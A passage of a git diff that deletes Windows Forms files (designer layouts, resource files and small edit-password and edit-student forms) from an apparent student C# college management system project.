+0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/EditPassword.Designer.cs b/Add Code Here/C#/CMS/EditPassword.Designer.cs deleted file mode 100644 index 290227b6242..00000000000 --- a/Add Code Here/C#/CMS/EditPassword.Designer.cs +++ /dev/null @@ -1,111 +0,0 @@ - -namespace CMS -{ - partial class EditPassword - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.PasswordBox = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.button1 = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 3; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 54.3578F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 45.6422F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 869F)); - this.tableLayoutPanel1.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.PasswordBox, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.button1, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 392F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1742, 679); - this.tableLayoutPanel1.TabIndex = 0; - // - // PasswordBox - // - this.PasswordBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.PasswordBox.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PasswordBox.Location = new System.Drawing.Point(479, 128); - this.PasswordBox.Name = "PasswordBox"; - this.PasswordBox.Size = new System.Drawing.Size(387, 31); - this.PasswordBox.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.Location = new System.Drawing.Point(188, 131); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(98, 24); - this.label1.TabIndex = 1; - this.label1.Text = "Password"; - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.ForeColor = System.Drawing.Color.Green; - this.button1.Location = new System.Drawing.Point(603, 439); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(139, 88); - this.button1.TabIndex = 2; - this.button1.Text = "Save"; - this.button1.UseVisualStyleBackColor = true; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // EditPassword - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1742, 679); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "EditPassword"; - this.Text = "EditPassword"; - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel1.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox PasswordBox; - private System.Windows.Forms.Button button1; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/EditPassword.cs b/Add Code Here/C#/CMS/EditPassword.cs deleted file mode 100644 index c5fe49a3fd4..00000000000 --- a/Add Code Here/C#/CMS/EditPassword.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class EditPassword : Form - { - private STUDENTBL previous; - public EditPassword(STUDENTBL Temp) - { - InitializeComponent(); - this.previous = Temp; - } - - private void button1_Click(object sender, EventArgs e) - { - STUDENTBL updated = new STUDENTBL(previous.Name1, previous.Father_Name1, previous.Matric_Marks1, previous.Course1, previous.RollNumber1, previous.Cnic1, previous.Section1,PasswordBox.Text, previous.Bankid1); - STUDENTDL.EditUserFromList(previous, updated); - this.Close(); - StudentMenu menu = new StudentMenu(); - menu.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/EditPassword.resx b/Add Code Here/C#/CMS/EditPassword.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/EditPassword.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/EditUserForm.Designer.cs b/Add Code Here/C#/CMS/EditUserForm.Designer.cs deleted file mode 100644 index 6becc9bc6b1..00000000000 --- a/Add Code Here/C#/CMS/EditUserForm.Designer.cs +++ /dev/null @@ -1,347 +0,0 @@ - -namespace CMS -{ - partial class EditUserForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.label8 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.nameBox = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.passwordBox = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.fNameBox = new System.Windows.Forms.TextBox(); - this.label4 = new System.Windows.Forms.Label(); - this.sectionBox = new System.Windows.Forms.TextBox(); - this.CNICBox = new System.Windows.Forms.TextBox(); - this.label5 = new System.Windows.Forms.Label(); - this.marksBox = new System.Windows.Forms.TextBox(); - this.label6 = new System.Windows.Forms.Label(); - this.courseBox = new System.Windows.Forms.TextBox(); - this.label7 = new System.Windows.Forms.Label(); - this.bankBox = new System.Windows.Forms.TextBox(); - this.label9 = new System.Windows.Forms.Label(); - this.label10 = new System.Windows.Forms.Label(); - this.rollNumberBox = new System.Windows.Forms.TextBox(); - this.tableLayoutPanel1.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 32.79703F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 67.20297F)); - this.tableLayoutPanel1.Controls.Add(this.label8, 0, 7); - this.tableLayoutPanel1.Controls.Add(this.label2, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.nameBox, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.passwordBox, 1, 1); - this.tableLayoutPanel1.Controls.Add(this.label3, 0, 2); - this.tableLayoutPanel1.Controls.Add(this.fNameBox, 1, 2); - this.tableLayoutPanel1.Controls.Add(this.label4, 0, 3); - this.tableLayoutPanel1.Controls.Add(this.sectionBox, 1, 3); - this.tableLayoutPanel1.Controls.Add(this.CNICBox, 1, 4); - this.tableLayoutPanel1.Controls.Add(this.label5, 0, 4); - this.tableLayoutPanel1.Controls.Add(this.marksBox, 1, 5); - this.tableLayoutPanel1.Controls.Add(this.label6, 0, 5); - this.tableLayoutPanel1.Controls.Add(this.courseBox, 1, 6); - this.tableLayoutPanel1.Controls.Add(this.label7, 0, 6); - this.tableLayoutPanel1.Controls.Add(this.bankBox, 1, 7); - this.tableLayoutPanel1.Controls.Add(this.label9, 0, 9); - this.tableLayoutPanel1.Controls.Add(this.label10, 0, 8); - this.tableLayoutPanel1.Controls.Add(this.rollNumberBox, 1, 8); - this.tableLayoutPanel1.Location = new System.Drawing.Point(444, 12); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 10; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 41.73913F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 58.26087F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 70F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 73F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 76F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 76F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 68F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 72F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 51F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 82F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(808, 684); - this.tableLayoutPanel1.TabIndex = 1; - this.tableLayoutPanel1.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel1_Paint); - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.BackColor = System.Drawing.Color.Black; - this.label8.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.ForeColor = System.Drawing.Color.White; - this.label8.Location = new System.Drawing.Point(77, 498); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(110, 32); - this.label8.TabIndex = 15; - this.label8.Text = "BankId"; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(64, 65); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(137, 32); - this.label2.TabIndex = 3; - this.label2.Text = "Password"; - // - // nameBox - // - this.nameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.nameBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.nameBox.Location = new System.Drawing.Point(335, 8); - this.nameBox.Name = "nameBox"; - this.nameBox.Size = new System.Drawing.Size(403, 32); - this.nameBox.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(87, 8); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(91, 32); - this.label1.TabIndex = 1; - this.label1.Text = "Name"; - // - // passwordBox - // - this.passwordBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.passwordBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.passwordBox.Location = new System.Drawing.Point(335, 65); - this.passwordBox.Name = "passwordBox"; - this.passwordBox.Size = new System.Drawing.Size(403, 32); - this.passwordBox.TabIndex = 2; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(43, 134); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(179, 32); - this.label3.TabIndex = 4; - this.label3.Text = "Father Name"; - // - // fNameBox - // - this.fNameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.fNameBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.fNameBox.Location = new System.Drawing.Point(335, 134); - this.fNameBox.Name = "fNameBox"; - this.fNameBox.Size = new System.Drawing.Size(403, 32); - this.fNameBox.TabIndex = 5; - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.Black; - this.label4.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.ForeColor = System.Drawing.Color.White; - this.label4.Location = new System.Drawing.Point(78, 205); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(109, 32); - this.label4.TabIndex = 6; - this.label4.Text = "Section"; - // - // sectionBox - // - this.sectionBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.sectionBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.sectionBox.Location = new System.Drawing.Point(335, 205); - this.sectionBox.Name = "sectionBox"; - this.sectionBox.Size = new System.Drawing.Size(403, 32); - this.sectionBox.TabIndex = 7; - // - // CNICBox - // - this.CNICBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.CNICBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CNICBox.Location = new System.Drawing.Point(335, 280); - this.CNICBox.Name = "CNICBox"; - this.CNICBox.Size = new System.Drawing.Size(403, 32); - this.CNICBox.TabIndex = 8; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.Black; - this.label5.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.ForeColor = System.Drawing.Color.White; - this.label5.Location = new System.Drawing.Point(88, 280); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(89, 32); - this.label5.TabIndex = 9; - this.label5.Text = "CNIC"; - // - // marksBox - // - this.marksBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.marksBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.marksBox.Location = new System.Drawing.Point(335, 356); - this.marksBox.Name = "marksBox"; - this.marksBox.Size = new System.Drawing.Size(403, 32); - this.marksBox.TabIndex = 10; - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.BackColor = System.Drawing.Color.Black; - this.label6.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.ForeColor = System.Drawing.Color.White; - this.label6.Location = new System.Drawing.Point(84, 356); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(97, 32); - this.label6.TabIndex = 11; - this.label6.Text = "Marks"; - // - // courseBox - // - this.courseBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.courseBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.courseBox.Location = new System.Drawing.Point(335, 428); - this.courseBox.Name = "courseBox"; - this.courseBox.Size = new System.Drawing.Size(403, 32); - this.courseBox.TabIndex = 12; - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.BackColor = System.Drawing.Color.Black; - this.label7.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.ForeColor = System.Drawing.Color.White; - this.label7.Location = new System.Drawing.Point(80, 428); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(105, 32); - this.label7.TabIndex = 13; - this.label7.Text = "Course"; - // - // bankBox - // - this.bankBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.bankBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.bankBox.Location = new System.Drawing.Point(335, 498); - this.bankBox.Name = "bankBox"; - this.bankBox.Size = new System.Drawing.Size(403, 32); - this.bankBox.TabIndex = 14; - // - // label9 - // - this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label9.AutoSize = true; - this.label9.BackColor = System.Drawing.Color.Green; - this.label9.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.ForeColor = System.Drawing.Color.White; - this.label9.Location = new System.Drawing.Point(78, 626); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(108, 32); - this.label9.TabIndex = 16; - this.label9.Text = "Update"; - this.label9.Click += new System.EventHandler(this.label9_Click); - // - // label10 - // - this.label10.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label10.AutoSize = true; - this.label10.BackColor = System.Drawing.Color.Black; - this.label10.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label10.ForeColor = System.Drawing.Color.White; - this.label10.Location = new System.Drawing.Point(41, 559); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(183, 32); - this.label10.TabIndex = 17; - this.label10.Text = "Roll Number"; - // - // rollNumberBox - // - this.rollNumberBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.rollNumberBox.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.rollNumberBox.Location = new System.Drawing.Point(335, 559); - this.rollNumberBox.Name = "rollNumberBox"; - this.rollNumberBox.Size = new System.Drawing.Size(403, 32); - this.rollNumberBox.TabIndex = 18; - // - // EditUserForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1739, 671); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "EditUserForm"; - this.Text = "EditUserForm"; - this.Load += new System.EventHandler(this.EditUserForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel1.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox nameBox; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox passwordBox; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.TextBox fNameBox; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.TextBox sectionBox; - private System.Windows.Forms.TextBox CNICBox; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TextBox marksBox; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox courseBox; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.TextBox bankBox; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.TextBox rollNumberBox; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/EditUserForm.cs b/Add Code Here/C#/CMS/EditUserForm.cs deleted file mode 100644 index 6041d361905..00000000000 --- a/Add Code Here/C#/CMS/EditUserForm.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class EditUserForm : Form - { - private STUDENTBL previous; - public EditUserForm(STUDENTBL Temp) - { - InitializeComponent(); - this.previous = Temp; - - } - - private void EditUserForm_Load(object sender, EventArgs e) - { - nameBox.Text = previous.Name1; - passwordBox.Text = previous.Password1; - CNICBox.Text = previous.Cnic1; - fNameBox.Text = previous.Father_Name1; - sectionBox.Text = previous.Section1; ; - marksBox.Text = ""+previous.Matric_Marks1; - bankBox.Text = previous.Bankid1; - courseBox.Text = previous.Course1; - rollNumberBox.Text = previous.RollNumber1; - } - - private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e) - { - - } - - private void label9_Click(object sender, EventArgs e) - { - float Marks = float.Parse(marksBox.Text); - STUDENTBL updated = new STUDENTBL(nameBox.Text, fNameBox.Text, Marks,courseBox.Text,rollNumberBox.Text,CNICBox.Text,sectionBox.Text,passwordBox.Text,bankBox.Text); - STUDENTDL.EditUserFromList(previous, updated); - this.Close(); - } - } -} diff --git a/Add Code Here/C#/CMS/EditUserForm.resx b/Add Code Here/C#/CMS/EditUserForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/EditUserForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/Form1.Designer.cs b/Add Code Here/C#/CMS/Form1.Designer.cs deleted file mode 100644 index 851ea20d382..00000000000 --- a/Add Code Here/C#/CMS/Form1.Designer.cs +++ /dev/null @@ -1,215 +0,0 @@ - -namespace CMS -{ - partial class Form1 - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.button1 = new System.Windows.Forms.Button(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.AdminButton = new System.Windows.Forms.Button(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.UserButton = new System.Windows.Forms.Button(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.ExitButton = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.BackColor = System.Drawing.Color.Transparent; - this.tableLayoutPanel1.BackgroundImage = global::CMS.Properties.Resources.College_Management_System; - this.tableLayoutPanel1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.tableLayoutPanel1.ColumnCount = 1; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 1; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1284, 702); - this.tableLayoutPanel1.TabIndex = 0; - this.tableLayoutPanel1.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel1_Paint); - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Transparent; - this.tableLayoutPanel2.ColumnCount = 2; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.button1, 0, 1); - this.tableLayoutPanel2.Controls.Add(this.tableLayoutPanel3, 0, 0); - this.tableLayoutPanel2.Controls.Add(this.tableLayoutPanel4, 1, 0); - this.tableLayoutPanel2.Controls.Add(this.tableLayoutPanel5, 0, 1); - this.tableLayoutPanel2.Location = new System.Drawing.Point(238, 147); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 2; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(807, 408); - this.tableLayoutPanel2.TabIndex = 1; - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.PeachPuff; - this.button1.Font = new System.Drawing.Font("Bookman Old Style", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.Location = new System.Drawing.Point(508, 259); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(194, 94); - this.button1.TabIndex = 3; - this.button1.Text = "Student User"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.AdminButton, 0, 0); - this.tableLayoutPanel3.Location = new System.Drawing.Point(89, 39); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - 